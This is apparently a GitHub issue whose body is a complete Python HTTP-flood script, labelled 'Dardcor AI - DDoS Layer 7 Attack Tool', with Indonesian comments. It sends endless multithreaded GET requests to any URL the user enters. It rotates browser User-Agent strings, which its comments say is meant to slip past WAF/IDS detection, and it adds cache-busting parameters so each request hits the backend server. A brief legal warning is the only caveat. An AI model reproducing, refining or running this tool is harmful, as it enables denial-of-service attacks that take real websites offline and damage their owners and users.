-
Notifications
You must be signed in to change notification settings - Fork 134
Description
import requests
import threading
import time
import random
import os
--- Konfigurasi Global ---
request_count = 0 # Penghitung permintaan sukses global
stop_event = threading.Event() # Event untuk menghentikan thread secara gracefully
--- Fungsi Serangan ---
def perform_attack(target_url, headers):
"""
Fungsi ini akan terus-menerus mengirim permintaan GET ke target URL.
"""
global request_count
while not stop_event.is_set():
try:
# Mengubah User-Agent secara acak untuk mensimulasikan berbagai browser
# dan mempersulit deteksi oleh WAF/IDS
headers['User-Agent'] = random.choice([
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/110.0.1587.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
])
# Menambahkan parameter query acak untuk melewati cache dan memastikan
# setiap permintaan mencapai server backend
params = {'cache_buster': str(int(time.time() * 1000000)) + str(random.randint(0, 9999))}
# Mengirim permintaan GET dengan timeout singkat untuk menghindari thread stuck
response = requests.get(target_url, headers=headers, params=params, timeout=5)
if response.status_code == 200:
request_count += 1
# print(f"[*] Request successful! Status: {response.status_code}") # Uncomment untuk melihat setiap request
# else:
# print(f"[!] Request failed! Status: {response.status_code}") # Uncomment untuk melihat setiap request
except requests.exceptions.Timeout:
# print("[-] Request timed out.")
pass
except requests.exceptions.ConnectionError:
# print("[-] Connection error.")
pass
except Exception as e:
# print(f"[!] An unexpected error occurred: {e}")
pass
# Memberikan jeda sangat singkat agar tidak terlalu membebani CPU lokal,
# namun tetap agresif untuk serangan Layer 7
time.sleep(0.005)
--- Fungsi Utama ---
def main():
"""
Fungsi utama untuk menginisialisasi dan menjalankan serangan.
"""
os.system('cls' if os.name == 'nt' else 'clear') # Membersihkan konsol
print("=========================================")
print(" Dardcor AI - DDoS Layer 7 Attack Tool ")
print("=========================================")
print("\n[!] PERINGATAN: Gunakan dengan bijak dan bertanggung jawab. ")
print(" Serangan DDoS dapat memiliki konsekuensi hukum serius.\n")
target_url = input("Masukkan URL target (contoh: http://example.com atau https://example.com): ")
if not target_url.startswith('http://') and not target_url.startswith('https://'):
target_url = 'http://' + target_url # Default ke HTTP jika tidak ada protokol
try:
num_threads = int(input("Masukkan jumlah thread (disarankan 50-500, sesuaikan dengan kapasitas mesin Anda): "))
if num_threads <= 0:
raise ValueError
except ValueError:
print("[!] Jumlah thread harus berupa angka positif.")
return
try:
duration = int(input("Masukkan durasi serangan dalam detik (0 untuk berjalan tanpa batas sampai dihentikan): "))
if duration < 0:
raise ValueError
except ValueError:
print("[!] Durasi harus berupa angka positif atau nol.")
return
# Header dasar untuk membuat permintaan terlihat lebih alami
base_headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
print(f"\n[*] Memulai serangan DDoS Layer 7 ke {target_url} dengan {num_threads} thread.")
print("[*] Tekan Ctrl+C kapan saja untuk menghentikan serangan secara manual.")
threads = []
for _ in range(num_threads):
# Setiap thread mendapatkan salinan headernya sendiri
thread = threading.Thread(target=perform_attack, args=(target_url, base_headers.copy()))
thread.daemon = True # Memungkinkan program utama keluar meskipun thread masih berjalan
threads.append(thread)
thread.start()
start_time = time.time()
try:
if duration > 0:
for i in range(duration):
if stop_event.is_set():
break
print(f"\r[*] Waktu berjalan: {i+1}/{duration} detik. Permintaan sukses: {request_count}", end='')
time.sleep(1)
print() # Baris baru setelah loop durasi
else:
# Berjalan tanpa batas hingga Ctrl+C
while not stop_event.is_set():
print(f"\r[*] Serangan berjalan... Permintaan sukses: {request_count}", end='')
time.sleep(1)
print() # Baris baru setelah berhenti
except KeyboardInterrupt:
print("\n[*] Serangan dihentikan oleh pengguna.")
stop_event.set()
finally:
stop_event.set() # Pastikan semua thread berhenti
# Beri sedikit waktu untuk thread berhenti sebelum program keluar
for t in threads:
if t.is_alive():
t.join(timeout=1) # Tunggu thread selesai, dengan timeout
end_time = time.time()
print("\n=========================================")
print(f"[*] Serangan selesai.")
print(f"[*] Total permintaan sukses: {request_count}")
print(f"[*] Durasi serangan: {int(end_time - start_time)} detik.")
print("=========================================\n")
if name == "main":
main()